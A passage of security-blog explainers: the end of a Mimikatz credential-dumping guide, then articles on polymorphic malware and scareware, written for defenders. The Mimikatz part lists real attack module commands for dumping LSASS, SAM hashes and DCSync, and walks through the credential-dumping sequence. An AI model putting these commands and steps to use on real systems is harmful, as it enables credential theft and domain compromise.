and enable the attack-surface-reduction rule that blocks credential theft from LSASS. Both raise the bar for reading its memory. 3. **Practice least privilege and tiering.** Keep domain and other high-privilege accounts off ordinary workstations. Use administrative tiering so that credentials capable of domain-wide impact never sit in the memory of an easily compromised machine. 4. **Detect LSASS access.** Instrument for suspicious processes opening a handle to LSASS with read access, and for tools reading its memory. On modern Windows this is directly observable, and unexpected LSASS access from a non-system process is a high-value alert. Map your detections to T1003.001. 5. **Watch for DCSync.** Monitor domain controllers for replication requests coming from hosts that are not domain controllers. A workstation asking for account secrets is a clear sign of the DCSync technique. 6. **Reduce credential lifetime and exposure.** Limit cached credentials where practical, rotate and protect the KRBTGT account on a schedule, and use privileged access workstations for administrative work so those sessions never touch general-purpose machines. The most durable Mimikatz-class detection watches for a process obtaining a read handle to LSASS memory, regardless of what that process is called. Legitimate access to LSASS is rare and comes from a known set of system components, so an unexpected reader stands out sharply. Build the rule around the behaviour and it survives every rename and repack. Mimikatz earned its reputation by making credential theft on Windows simple and repeatable, and the network defends against it long after the original tool has been renamed a thousand times. Take the secrets out of easy reach with Credential Guard and privilege tiering, watch anything that touches LSASS, and treat a dumped domain admin as a domain-wide incident, because that is what it is. ## The modules and what each one reaches The original tool is organised into command groups, and knowing the names helps a defender read alerts, incident reports, and threat intelligence that reference them. The same functions appear, sometimes renamed, inside the frameworks that copy the code, so the vocabulary is durable even when the binary is not. | Module or command | What it does | Where the secret comes from | |---|---|---| | `sekurlsa::logonpasswords` | Extracts credentials for logged-on sessions | Live LSASS memory | | `sekurlsa::tickets` | Lists and exports Kerberos tickets held in memory | Live LSASS memory | | `sekurlsa::pth` | Launches a process using a supplied hash | Reuses a stolen NTLM hash | | `lsadump::sam` | Reads local account hashes | The SAM registry hive | | `lsadump::secrets` | Reads stored service and machine secrets | The SECURITY registry hive (LSA secrets) | | `lsadump::dcsync` | Requests account password data by impersonating a domain controller | Active Directory replication | | `kerberos::golden` | Forges a ticket-granting ticket | The KRBTGT account hash | | `kerberos::ptt` | Injects a ticket into the current session | Reuses a stolen or forged ticket | Two families stand out. The `sekurlsa` group is the classic live-memory read of LSASS, the behaviour most detections aim at. The `lsadump` group works against registry and directory data, which lets an operator harvest secrets from an offline copy where no live process is being touched. That offline path is why capturing hives or a memory image and carrying it away is a recurring evasion: the extraction step then happens somewhere no endpoint sensor is running. ## A walkthrough of a credential-dumping step It helps to trace the conceptual sequence a dumping step follows on a host the attacker already controls with administrative rights. No real intrusion is invented here, only the mechanical order of operations that any variant has to perform. 1. **Acquire the privilege to read another process.** Reading LSASS memory requires the debug privilege or equivalent local administrative rights. The operator first enables that privilege in the current token, which is itself an observable action. 2. **Open a handle to LSASS.** The code calls the Windows API to open the LSASS process with read access. This handle request is the single most reliable detection point, because legitimate callers that open LSASS for read are few and known. 3. **Locate the secrets in memory.** LSASS keeps authentication material in structures managed by its security packages. The tool walks those structures to find hashes, keys, and cached tickets. The exact layout shifts between Windows versions, which is why credential tools ship version-specific offsets. 4. **Decrypt what is protected.** Some of the material in LSASS is encrypted with keys also held in the process. The tool reads those keys and decrypts the credentials, which is why simply encrypting secrets inside LSASS is insufficient on its own. 5. **Present the results.** Hashes, keys, and tickets are printed or written out, ready to feed into pass-the-hash or pass-the-ticket. From here the intrusion moves from the compromised host to the accounts it exposed. Every step in that chain is a candidate for detection or prevention. Credential Guard breaks step three and four by moving the secrets into an isolated memory space the host operating system cannot read. Protected Process Light raises the bar on step two by refusing read handles from processes that lack the matching protection level. Least-privilege administration attacks step one, because an operator without administrative rights never reaches the privilege the whole sequence depends on. ## Detection signals worth building The durable detections watch the actions the technique cannot avoid. These are concrete signals to instrument rather than a single rule, and layering several of them raises confidence. - **Read handles to LSASS from unexpected processes.** Windows can log a process requesting access to LSASS. A request for read or memory-read access from anything outside the small set of legitimate system components deserves an alert. Map this to [LSASS Memory (T1003.001)](https://attack.mitre.org/techniques/T1003/001/). - **The debug privilege being enabled.** Interactive code enabling the debug privilege is uncommon on a workstation and often precedes a read of another process. - **LSASS as a source of process memory reads.** Endpoint tooling that can see cross-process memory reads should treat LSASS as a high-value target and flag readers that are not on an allowlist. - **Creation of an LSASS memory image.** A legitimate administrative utility writing a full dump of LSASS to disk is a strong signal when it is not part of a sanctioned troubleshooting task. The output file is often large and lands in a temporary path. - **Registry hive access to SAM and SECURITY.** Copying or reading these hives outside of backup and imaging workflows points at the `lsadump` path. - **Replication requests from non-domain-controllers.** A directory replication request arriving from a host that is not a domain controller is the fingerprint of DCSync and should be treated as an emergency. - **Anomalous ticket activity.** Tickets with unusual lifetimes, encryption types, or accounts that never normally request them can indicate forged Golden or Silver tickets in use. Command lines get obfuscated, module names get renamed, and binaries get repacked, so signatures on those surfaces decay quickly. The stable ground is the resource the technique must touch: LSASS memory, the SAM and SECURITY hives, and directory replication. Build your primary detections on access to those sources, and treat any string or hash match as a helpful bonus rather than the foundation. ## Common misconceptions **"We block the Mimikatz binary, so we are covered."** Blocking one file catches unmodified copies and nothing else. The code is public and routinely recompiled, obfuscated, run only in memory, or reimplemented inside other tooling. The capability is what reaches your network, and the capability survives a filename change. **"Only domain controllers matter for this."** Any host where a privileged account has logged on can hold that account's secrets in memory. An ordinary workstation that a domain administrator signed into becomes a path to the whole domain. The exposure follows the logon, not the server tier. **"Long, complex passwords stop credential dumping."** Password strength helps against guessing and cracking. Dumping extracts the hash or ticket directly, and a hash works for pass-the-hash regardless of how strong the underlying password was. Complexity does not defend the material once it sits in memory. **"If plaintext credentials are gone, dumping is harmless."** Removing reversibly stored plaintext credentials is worthwhile, and it still leaves hashes and Kerberos tickets, both of which enable impersonation. The goal is to protect all of that material, which is what Credential Guard sets out to do. **"Credential Guard makes us immune."** Credential Guard substantially raises the cost of reading LSASS secrets, and it is one of the strongest single controls available. It does not cover every credential source. Cached data, tickets already in use, and directory replication remain relevant, so layered detection stays necessary. ## How credential dumping evolved Early Windows kept authentication material in memory in forms that could yield plaintext, because features like single sign-on needed to present credentials to network services on the user's behalf. That convenience left readable secrets in LSASS for anyone with administrative rights. The publication of a simple, reliable tool to extract them turned a known theoretical exposure into a routine step in intrusions, and credential dumping became the standard pivot from one host to a whole network. Microsoft's response came in layers over several Windows releases. Reversibly stored plaintext credentials were curtailed. Protected Process Light was introduced so LSASS could refuse memory reads from unprotected callers. Credential Guard used virtualization-based security to move the secrets into an isolated space the normal operating system cannot reach. Attack-surface-reduction rules added a policy that blocks credential theft from LSASS outright on supported systems. Operators adapted in turn. When live reads of LSASS grew risky, some shifted to capturing a memory image with a legitimate utility and extracting offline. When plaintext disappeared, they leaned harder on pass-the-hash and Kerberos ticket abuse, which never needed plaintext. When endpoint tools improved at spotting the classic read, they moved to registry hive theft and directory replication. The arms race is why a defender anchors on the credential sources rather than on any single tool version. ## Frequently asked questions **Is Mimikatz malware?** The tool itself is a security research and testing utility, and it is used legitimately by penetration testers and red teams under authorization. The same capabilities are used by criminals without permission. Finding it or its behaviour on a network calls for confirming whether an approved engagement is running before concluding either way. **Does antivirus stop it?** Antivirus catches known, unmodified copies and common patterns. Because the code is public and heavily modified, obfuscated, and embedded in other tooling, signature-based blocking is only a partial control. Behavioural detection of LSASS access and directory replication is the more durable layer. **Can it run without administrative rights?** The core memory-reading functions need administrative rights or the debug privilege on the target host, because reading another process's memory is a privileged action. This is exactly why least-privilege administration is a meaningful defense: an operator confined to a standard user context cannot perform the live LSASS read. **What is the single most effective mitigation?** There is no one control that covers every path. Credential Guard is the strongest single technical mitigation for LSASS secrets on supported Windows, and it pairs with privilege tiering that keeps high-value accounts off ordinary machines. Together they remove both the secrets and the reason they would be present. **How does DCSync differ from reading LSASS?** Reading LSASS extracts secrets already resident in one host's memory. DCSync asks a domain controller to replicate account password data as though the requester were another domain controller, so it pulls secrets straight from Active Directory without touching LSASS at all. It requires specific directory replication rights and is detected by watching for replication requests from hosts that are not domain controllers. **Why do stolen hashes work without the password?** Windows authentication protocols can accept the hash or a derived ticket as proof of identity, so an attacker who holds the hash can authenticate through pass-the-hash without ever recovering the plaintext. This is why rotating a password matters after a suspected dump: it invalidates the stolen hash by changing the secret it represents. **Does this only affect Windows?** The specific techniques here target Windows authentication internals, LSASS, the SAM and SECURITY hives, and Kerberos as implemented in Active Directory. Other platforms have their own credential-store risks, and the general lesson, that authentication secrets in memory are a prime target, applies broadly. **How should an incident responder react to a confirmed dump?** Treat the exposed accounts as compromised and scope the blast radius by identity rather than by host. Rotate the passwords of every account that had a session on the affected machine, force re-authentication, and reset the KRBTGT account twice if there is any chance a Golden Ticket was forged. Then hunt for reuse of those credentials elsewhere, because the point of dumping is lateral movement and the stolen material may already be in use on other systems. ## Related guides - [Pass-the-Hash Explained](/pass-the-hash-explained) - [DCSync Attack Explained](/dcsync-attack-explained) - [Windows Event IDs for Security](/windows-event-ids-for-security) - [Active Directory Security Basics](/active-directory-security-basics) ### Sources - MITRE ATT&CK: OS Credential Dumping (T1003) (MITRE): https://attack.mitre.org/techniques/T1003/ - MITRE ATT&CK: LSASS Memory (T1003.001) (MITRE): https://attack.mitre.org/techniques/T1003/001/ - NIST SP 800-63B: Digital Identity Guidelines, Authentication (NIST): https://pages.nist.gov/800-63-3/sp800-63b.html --- ## What Is Polymorphic Malware? Why Signatures Fail > Polymorphic malware rewrites itself on every copy so no two samples share a signature. Polymorphic vs metamorphic, why hashes fail, and behavioural defence. - URL: https://blog.pwnsy.com/what-is-polymorphic-malware - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: malware - Tags: polymorphic-malware, malware, obfuscation, behavioural-detection, antivirus - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [UEFI Firmware Security Explained: Secure Boot, TPMs and Bootkits](https://blog.pwnsy.com/uefi-firmware-security-explained) ### TL;DR - Polymorphic malware changes its own code on every infection so that no two copies share the same signature, while its underlying behaviour stays identical. - It works by pairing an encrypted payload with a mutating decryptor, so the bytes on disk look different each time even though the logic does not. - Metamorphic malware goes further and rewrites its entire body, including the engine, leaving no constant encrypted core to key on. - Because the file changes but the actions do not, defence moves from static signatures to behavioural and heuristic detection. ### Key Takeaways - A signature is a fingerprint of specific bytes. Polymorphism defeats it by ensuring the bytes are never the same twice. - Polymorphic samples keep a constant decrypted payload; metamorphic samples change the payload itself, which makes them harder still to detect. - This maps to MITRE ATT&CK Obfuscated Files or Information (T1027) and Software Packing (T1027.002). - Behaviour is the invariant. What the malware does after it runs stays the same no matter how the file is scrambled, so behavioural detection holds where signatures break. - Modern antivirus already leans on heuristics, emulation, and behavioural monitoring rather than hashes alone for exactly this reason. Antivirus, in its original form, worked like a lineup. Take a known bad file, record a fingerprint of its bytes, and match every new file against the list. It was fast and effective, right up until malware authors decided to change their own faces. Polymorphic malware is that response: code engineered so that every copy looks different on disk while doing exactly the same thing when it runs. That single design choice breaks the fingerprint model. If no two samples share the same bytes, no single signature can catch them all, and the defender is left chasing an infinite supply of unique-looking files that are really one piece of malware wearing different masks. ## How signatures work, and what breaks them A traditional antivirus signature is a pattern: a hash of a whole file, or a sequence of bytes known to appear in a specific threat. Scanning is then a matching problem. Does this file contain that pattern? If yes, block it. The model has one hard assumption baked in: that the malicious file stays roughly constant across infections. Polymorphism removes that assumption. If the attacker can make each copy structurally different, every hash is a miss and every byte pattern matches at most one sample. The signature database, which worked by generalising from one sample to many, no longer generalises to anything. ## The polymorphic recipe Polymorphic malware achieves its changing appearance with a simple, durable trick: separate the payload from the thing that unlocks it. - The **payload**, the part that does the actual damage, is **encrypted**. Encrypted data looks like random bytes, and random bytes carry no stable signature. - A small **decryptor stub** sits in front of it. When the file runs, the stub decrypts the payload in memory and hands control to it. - On each new infection, a **mutation engine** rewrites the stub and picks a fresh encryption key. Different key, different encrypted payload, differently arranged decryptor. New bytes on disk, every time. The engine has a toolbox for making the stub look different without changing what it does: inserting junk instructions that have no effect, swapping registers, reordering independent operations, substituting one instruction sequence for an equivalent one. The decrypted payload underneath is always the same. That constancy is both the technique's strength and its weakness, and defenders exploit the weakness. On MITRE ATT&CK, this is [Obfuscated Files or Information (T1027)](https://attack.mitre.org/techniques/T1027/), with the encrypt-and-unpack pattern captured under [Software Packing (T1027.002)](https://attack.mitre.org/techniques/T1027/002/). ## Polymorphic versus metamorphic The two terms get used loosely, so here is the clean distinction. | Property | Polymorphic | Metamorphic | |---|---|---| | What changes | The decryptor and encryption, not the payload | The entire body, including the engine | | Constant core | Yes, the decrypted payload is identical | No constant decrypted form | | Main technique | Encryption plus a mutating stub | Full code rewriting on each generation | | Detection weak point | The decrypted payload in memory | Very few; behaviour is the main handle | | Relative complexity | Moderate | High | Polymorphic malware always decrypts to the same underlying code. That gives defenders a target: let the sample run in a controlled environment, wait for it to unpack itself, and inspect what appears in memory. Metamorphic malware removes even that. It rewrites its whole body, engine included, so successive generations share almost no code and there is no constant encrypted core to wait for. It is much harder to write and much harder to catch, which is why it is rarer. The insight that makes defence possible is this: obfuscation changes what a sample looks like, never what it does. A polymorphic banking trojan still hooks the browser, still contacts its command server, still steals the same data. The appearance is a variable. The behaviour is the constant, and behaviour is what modern detection watches. ## Why this pushes defence toward behaviour If the file is a moving target, you stop aiming at the file. Detection shifts to the things the malware cannot change without ceasing to be itself: - **Heuristics** flag structural tells: an encrypted blob paired with a self-modifying stub is itself a suspicious shape, even if the exact bytes are new. - **Emulation and sandboxing** run the sample in an isolated environment and watch it unpack. Once the polymorphic wrapper decrypts the payload, the constant core is exposed and can be identified. - **Behavioural monitoring** ignores appearance entirely and watches actions at runtime: process injection, credential access, suspicious network beacons. These stay the same across every mutated copy. This is why serious antivirus stopped being purely signature-based years ago. The engines still use signatures as a cheap first pass, but the weight has moved to heuristics, emulation, and behaviour precisely because polymorphism made pure matching a losing game. ## How to defend against polymorphic malware 1. **Rely on behaviour-based endpoint protection.** Choose tooling that scores what a process does at runtime rather than what its file hash is. That is the layer polymorphism cannot rewrite around. 2. **Keep sandboxing and emulation in the loop.** Detonating suspicious files in isolation forces the wrapper to unpack and reveals the constant payload underneath. 3. **Do not lean on hash blocklists alone.** Hash-based blocking is useful against known, static threats and near-useless against a mutating one. Treat it as one thin layer. 4. **Restrict execution paths.** Application control and blocking execution from user-writable locations cut off where these payloads typically land, regardless of how they are packed. 5. **Patch and reduce exposure.** Polymorphism changes how malware looks, never how it gets in. Closing the delivery routes, phishing and vulnerable software, denies it the entry it needs. 6. **Feed behavioural telemetry to detection.** Process, script, and network logs let you spot the invariant actions even when every file is unique. Against a packed or polymorphic sample, static inspection of the file on disk tells you little. Run it in an isolated sandbox and capture what it unpacks into memory. The decrypted payload is the stable identity the obfuscation was hiding, and it is where reliable detection and analysis begin. Obfuscation like this is one entry in a broader kit that attackers use to slip payloads past scanners. To see how packing, encryption, and other evasion tricks fit together, and which formats carry them, our File-Format Abuse Atlas catalogues the delivery formats and the obfuscation they tend to wrap. Polymorphic malware is a durable idea, not a specific threat. As long as detection rewards constancy, attackers will invest in change. The answer is to detect the one thing they cannot change: what the code does once it runs. ## A worked example of a polymorphic lifecycle Following one sample from creation to detection makes the mechanism concrete, and shows exactly where each defence bites. An author writes a piece of malware with a fixed job: steal browser-stored credentials and send them to a command server. That logic is the payload, and it never changes, because changing it would change what the malware is for. To evade signature scanning, the author wraps the payload in a polymorphic engine before distribution. The engine encrypts the payload with a randomly chosen key and prepends a small decryptor stub that knows how to reverse it in memory. The first victim receives a build where the payload is encrypted under one key and the stub is arranged one way. A signature written against that exact file would be a perfect hash of random-looking encrypted bytes plus a specific stub. The second victim receives a build generated moments later: a new key, so the encrypted payload is a completely different sequence of bytes, and a mutated stub with junk instructions inserted, registers swapped, and equivalent instruction sequences substituted. The two files share almost no bytes. A hash of the first matches nothing in the second, and a byte-pattern signature keyed to the first stub misses the second. Now trace the detection. A pure hash blocklist fails immediately, because every build is unique. A heuristic engine does better, because the shape itself, a block of high-entropy encrypted data paired with a small self-modifying decryptor, is suspicious regardless of the exact bytes, and it can flag the sample as probably packed. The decisive step comes from emulation. The scanner runs the sample in an isolated environment and lets the stub execute. The stub does the one thing it must do: it decrypts the payload into memory so the payload can run. At that instant the constant core is exposed, and the scanner reads the same credential-stealing code that appears in every build. A signature written against the decrypted payload catches all of them at once. That is the whole story of polymorphism in miniature. The wrapper is infinitely variable, the payload is constant, and detection wins by waiting for the wrapper to reveal the payload rather than trying to match the wrapper. ## Detection signals Because polymorphic samples are unique on disk, the useful signals are structural and behavioural rather than hash-based. - **High-entropy regions in an executable.** Encrypted payloads look like random data, which registers as unusually high entropy compared with normal code and resources. A small stub in front of a large high-entropy blob is a classic packed-or-encrypted shape. - **A self-modifying or self-decrypting stub.** Code that writes to a region of memory and then executes what it just wrote is the decryptor doing its job. This runtime behaviour is a strong tell that survives every mutation of the stub. - **A mismatch between static and runtime appearance.** A file that looks small and inert on disk but unpacks into substantially more code in memory is behaving like a packed sample. - **Constant behaviour across many unique files.** When a swarm of files that share no hashes all make the same sequence of system calls, contact the same infrastructure, or perform the same injection, the shared behaviour is the invariant identity the obfuscation is hiding. - **Suspicious runtime actions regardless of the file.** Process injection, credential access, tampering with security tooling, and beaconing to a command server stay the same across every mutated copy, which is why behavioural monitoring catches what signatures miss. Two signals do most of the work against polymorphism. High entropy paired with a self-decrypting stub reveals that a file is probably packed, which is the shape. The sequence of actions the sample performs after it unpacks reveals which malware it actually is, which is the identity. Signatures fail because they key on neither of these, and behavioural detection succeeds because it keys on both. ## Related obfuscation techniques Polymorphism is one member of a family of code-transformation techniques, and they get used together. Separating them clarifies what each defeats and where it stops. | Technique | What changes across samples | Constant core | What it defeats | |---|---|---|---| | Packing | Payload compressed or encrypted, unpacked at runtime | Yes, the unpacked payload | Static inspection of the file on disk | | Polymorphism | Encryption key and decryptor stub | Yes, the decrypted payload | Hash and byte-pattern signatures | | Metamorphism | The entire body, engine included | No constant decrypted form | Signatures and payload-in-memory matching | | Obfuscation (general) | Names, control flow, dead code | Varies | Static reading and analysis | Packing is the broad parent technique, where a payload is compressed or encrypted and unpacked at runtime, and it maps to MITRE ATT&CK [Software Packing (T1027.002)](https://attack.mitre.org/techniques/T1027/002/). Polymorphism adds the mutating engine on top, so each packed build looks different. Metamorphism removes the constant decrypted core entirely by rewriting the whole body, which is why it is the hardest to catch and the rarest to see, since it is difficult to build correctly. All of these sit under [Obfuscated Files or Information (T1027)](https://attack.mitre.org/techniques/T1027/) in ATT&CK. ## Common misconceptions **"Polymorphic malware is a specific virus."** It is a technique, not a single threat. Many different malware families use polymorphic engines, and the same underlying payload can be wrapped in polymorphism, delivered many ways. The label describes how a sample evades detection, not what it is or what it does. **"If every copy is unique, it is undetectable."** Uniqueness defeats hash and byte-pattern signatures and nothing else. The behaviour is constant across every copy, and behavioural detection, emulation, and heuristics all catch what pure matching misses. Polymorphism raises the cost of detection, it does not remove the possibility. **"Polymorphic and metamorphic mean the same thing."** They are distinct. Polymorphic malware keeps a constant decrypted payload and mutates only the encryption and decryptor. Metamorphic malware rewrites its entire body including the engine, so there is no constant decrypted core to key on. Metamorphism is the harder and rarer of the two. **"Antivirus is useless against it."** Modern engines stopped relying on hashes alone years ago precisely because of polymorphism. They lead with heuristics, emulation, and behavioural monitoring, and keep signatures as a cheap first pass. Signature-only tools struggle, and layered engines do not. **"Changing the file changes the danger."** The mutation is cosmetic. A polymorphic banking trojan performs the exact same theft as every other copy, because the payload is constant. The appearance is a variable and the behaviour is fixed, which is the whole reason behavioural defence works. ## How the technique evolved Polymorphism emerged as a direct answer to signature-based antivirus. Early antivirus recorded a fingerprint of each known malicious file and matched new files against the list, which was fast and effective while malware stayed constant across infections. Malware authors responded first with simple encryption, wrapping a payload so its bytes no longer matched a signature. Defenders countered by keying signatures on the small, constant decryptor stub that the encryption required, since the stub itself did not change. Polymorphism was the next move: make the stub change too. A mutation engine rewrote the decryptor on every build, inserting junk instructions, swapping registers, and substituting equivalent instruction sequences, and picked a fresh encryption key each time so the encrypted payload also differed. Now neither the payload bytes nor the stub bytes were stable, and simple signatures had nothing constant to key on. Defenders answered again, this time with emulation: run the sample in a controlled environment and wait for it to decrypt itself, then match the exposed payload. Metamorphism pushed further still, rewriting the entire body including the engine so that even the decrypted form was not constant, which removed the target emulation relied on. It is powerful and correspondingly hard to write, which keeps it rare. The through-line across this whole history is a simple economy. Every time detection rewarded some constant feature, attackers invested in varying it, and defenders moved the point of detection one layer deeper, from file bytes to decrypted payload to runtime behaviour. Behaviour is where the contest has largely settled, because it is the one thing the malware cannot vary without ceasing to do its job. ## The limits of polymorphism for an attacker Polymorphism is powerful, and it carries costs and constraints that shape how attackers use it and where defenders get leverage. The first constraint is complexity. A mutation engine that produces correct, working builds every time is difficult to write. Each generated stub has to decrypt the payload accurately and hand control to it, and a subtle bug in the engine produces broken samples that crash instead of running. This is part of why full metamorphism, which mutates the engine itself, stays rare: the difficulty of getting it right outweighs the marginal evasion benefit for most authors. The second constraint is that the engine leaves its own fingerprints. A mutation engine has habits, such as the way it inserts junk instructions or the structure of the decryptor it emits, and those habits can be consistent enough across builds to become a detection target in their own right. Defenders sometimes catch a polymorphic family by recognising the engine rather than the payload, which is the technique being turned against itself. The third constraint is the one the whole guide rests on. Polymorphism can vary everything about a sample's appearance and nothing about its purpose. The payload must decrypt to the same working code, and that code must perform the same actions to achieve the attacker's goal. Every layer of variation the attacker adds is effort spent on appearance, and none of it touches the behaviour that behavioural detection watches. The attacker can make detection more expensive, and cannot make the malware stop acting like itself. For defenders, the practical takeaway is to stop treating a flood of unique files as a flood of distinct threats. A polymorphic campaign is usually one piece of malware wearing many masks. Detonating a sample to expose its payload, and correlating the shared behaviour across the unique files, collapses the swarm back into the single threat it actually is, which is where analysis and response should aim. ## Frequently asked questions **What is the difference between polymorphic and metamorphic malware?** Polymorphic malware encrypts a constant payload and mutates the encryption key and decryptor on each copy, so the file changes while the decrypted payload stays the same. Metamorphic malware rewrites its entire body, including the engine, so there is no constant decrypted core at all. Metamorphism is harder to build and rarer to see. **Why do signatures fail against polymorphic malware?** A signature is a fingerprint of specific bytes, and it works by generalising from one sample to many that share those bytes. Polymorphism ensures no two copies share the same bytes, so each signature matches at most one sample and the database stops generalising. The technique attacks the core assumption signatures depend on. **Can antivirus detect polymorphic malware at all?** Yes. Modern engines use heuristics to flag the packed shape, emulation to run the sample until it decrypts its constant payload, and behavioural monitoring to watch the actions the malware performs at runtime. These catch what hash matching misses, which is why serious antivirus stopped being purely signature-based. **Is polymorphic malware the same as a packer?** They are related. Packing compresses or encrypts a payload and unpacks it at runtime, and polymorphism adds a mutating engine so each packed build looks different. All polymorphic malware is packed in a sense, and not all packed malware is polymorphic, since a plain packer can produce identical output each time. **How does sandboxing help against it?** A sandbox runs the sample in isolation and lets the decryptor stub execute, which forces the polymorphic wrapper to reveal the constant payload in memory. Once the payload is exposed, it can be identified reliably, and the malware's runtime behaviour can be observed directly, both of which defeat the obfuscation. **Does polymorphism change how the malware infects a system?** No. Polymorphism changes how the malware looks to a scanner, not how it gets in. Delivery still relies on the usual routes, such as phishing and vulnerable software, and the payload's behaviour after execution is unchanged. Closing the delivery routes denies polymorphic malware the same entry it denies any other malware. **Why is behavioural detection the recommended defence?** Because behaviour is the one thing polymorphism cannot alter. A sample can change every byte on disk and still must perform the same actions to achieve its purpose, such as injecting into a process, accessing credentials, or beaconing to a server. Detection that scores those actions holds across every mutated copy. ## Related guides - [Malware Obfuscation Techniques](/malware-obfuscation-techniques) - [Intro to Malware Analysis](/intro-to-malware-analysis) - [Best Antivirus](/best-antivirus) - [What Is Fileless Malware](/what-is-fileless-malware) ### Sources - MITRE ATT&CK: Obfuscated Files or Information (T1027) (MITRE): https://attack.mitre.org/techniques/T1027/ - MITRE ATT&CK: Software Packing (T1027.002) (MITRE): https://attack.mitre.org/techniques/T1027/002/ - NIST SP 800-83: Guide to Malware Incident Prevention and Handling (NIST): https://csrc.nist.gov/pubs/sp/800/83/r1/final --- ## What Is Scareware? Fake Alerts, Fake Antivirus, Real Damage > Scareware uses fake virus warnings to panic you into paying or calling a scammer. How the scam works, how it overlaps tech-support fraud, and how to defend. - URL: https://blog.pwnsy.com/what-is-scareware - Date: 2026-07-24 - Updated: 2026-10-06 - Difficulty: beginner - Category: malware - Tags: scareware, malware, social-engineering, tech-support-scam, fake-antivirus - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [MFA Fatigue Attacks Explained: How Push Bombing Works](https://blog.pwnsy.com/mfa-fatigue-attacks-explained) ### TL;DR - Scareware is software or a web page that fakes an infection or a system problem to frighten you into paying, calling, or installing something. - The alarm is the whole product: a loud fake warning, a countdown, or a locked-looking browser tab pushing you to act before you can think. - It overlaps heavily with tech-support scams, where the fake alert tells you to call a number that reaches the scammer directly. - The fix is almost always to close the browser or reboot, not to pay or call; the warning has no idea what is on your machine. ### Key Takeaways - Scareware sells fear, so the tell is emotional pressure: urgency, a countdown, threats of data loss, and a single easy action to make it stop. - A real security tool never asks you to call a phone number or pay by gift card to remove a virus. - Browser-based scareware cannot actually harm your files; it only wants you to click, call, or download the real payload. - Fake antivirus and fake support pages map to MITRE ATT&CK techniques for user execution and impersonation, not to any exploit you can patch. - Defense is mostly human plus a few browser and endpoint controls: block the pop-ups, know the script, and never act on an unsolicited alert. A red screen fills the browser. A siren-styled banner says your computer is infected, your banking data is at risk, and you have four minutes to act. A number to call sits under a flashing warning. None of it is real. The page cannot see your files, cannot scan your machine, and has detected nothing. It is scareware, and its only goal is to make you panic and do something you would never do calmly. Scareware is one of the oldest tricks that still works, because it targets a person rather than a machine. It manufactures a fake emergency and offers one easy way out, hoping fear moves faster than judgment. ## What scareware actually is Scareware is any software or web content that fakes a security problem to pressure you into a harmful action. The action varies, but it usually falls into one of these buckets: - **Pay for a fake fix.** A fake antivirus product claims it found dozens of threats and demands payment to clean them. - **Call a fake helpline.** A full-screen warning tells you to call a support number, which reaches a scammer. - **Install the real payload.** The alert pushes you to download a tool that turns out to be adware, spyware, or a remote-access program. - **Hand over access or money.** Once you engage, the operator escalates toward remote control of your machine or a direct payment. The warning itself is theatre. The page or program has no visibility into your system. It shows the same alarm to everyone, then counts on a fraction of viewers to react. ## The anatomy of the scare Scareware campaigns reuse the same emotional script because it converts. Recognising the script is most of the defense. | Element | What it looks like | What it is doing | |---|---|---| | The alarm | Red screen, sirens, "VIRUS DETECTED", system-style icons | Grabbing attention and signalling authority | | The urgency | A countdown, "act now", threats of data loss | Removing time to think or verify | | The authority | Fake Windows, Apple, or antivirus branding | Borrowing trust you already have | | The single action | One button, one number, one download | Funnelling you to the outcome the scammer wants | | The lock | A tab that will not close, looping audio | Manufacturing helplessness so calling feels like relief | When several of these appear together, you are looking at scareware. A genuine operating system or security tool does not behave this way. It does not lock your screen and demand a phone call. ## Fake antivirus, the classic form The most familiar scareware is the rogue security product, often called fake AV or a rogue scanner. It installs or runs, launches a convincing scan animation, and reports a pile of infections that do not exist. Removing them requires buying the full version. Some rogue scanners go further and disable real security tools, so the fake one looks like your only option. Fake AV can be a downloaded program or a pure browser illusion. The browser version cannot touch your files. It only renders a scan that looks real. The download version can install unwanted software, which is where scareware bleeds into the abused file formats attackers use to deliver a heavier payload behind the fake alert. ## Where scareware meets tech-support scams Modern scareware often skips the fake product entirely and routes straight to a human. The full-screen page says the machine is compromised and instructs you to call Microsoft, Apple, or your bank at the number shown. The number reaches a scam call centre. From there the script is familiar: the "technician" asks you to install remote-access software, walks through fake diagnostics, then pushes for payment or account access. The scareware page was only the hook that got you to dial. This overlap is why scareware and tech-support fraud are usually the same operation seen from two ends. On MITRE ATT&CK, the mechanics map to [User Execution (T1204)](https://attack.mitre.org/techniques/T1204/), because everything depends on you taking the action, and to [Impersonation (T1656)](https://attack.mitre.org/techniques/T1656/), because the whole thing leans on pretending to be a brand you trust. Real security software removes threats inside the software. It never tells you to call a number to fix a virus, and no legitimate vendor takes payment in gift cards or crypto to clean a machine. A security alert that wants you on the phone is a scam every time. ## Why it keeps working Scareware survives because it is cheap to run and it exploits a reliable human reflex. A single web page or a small rogue installer can reach large numbers of people through malvertising, poisoned search results, and pop-ups on low-quality sites. The operator needs only a small conversion rate to profit. It also targets the people least equipped to push back. The urgency and the branding are designed to override the instinct to slow down and verify, and they work best on those who are already uncertain about how computers behave. ## How to detect and defend Scareware is a social problem with a few technical assists. Defense is a short, teachable routine plus some controls that cut off delivery. 1. **Do not act on the alarm.** The single most useful habit: an unsolicited security warning that appears while browsing gets closed, not obeyed. Do not click the button, do not call the number, do not download the tool. 2. **Close the browser cleanly.** For a tab that will not close, shut the whole browser. On Windows, end the browser process from Task Manager. On macOS, use Force Quit. When it reopens, decline to restore the previous tabs. 3. **Never call the number.** No genuine alert asks you to phone anyone. Treat any displayed support number as part of the scam. 4. **Verify through a channel you chose.** If you are unsure whether a warning is real, close it and open your actual security tool yourself, or contact the vendor through their official site. Never use contact details supplied by the alert. 5. **Block the delivery.** A content blocker and pop-up blocking cut off most browser scareware. Keeping the browser updated closes the tricks that force a tab to stay open. 6. **Reduce what can install.** Standard user accounts, application control, and a reputable endpoint tool stop the download-based rogue scanners from taking hold. 7. **Teach the script.** The most effective control is a family member or colleague who recognises the fake-alarm pattern and knows the rule: close it, do not call. If a person followed the script, installed remote software, or paid, treat it as a compromise. Disconnect the machine, uninstall any remote-access tool the scammer added, change passwords from a clean device, and contact the bank to reverse or flag the payment. Assume anything typed during the "support" session was seen. Scareware has no power you do not give it. The warning is a picture of an emergency with no emergency behind 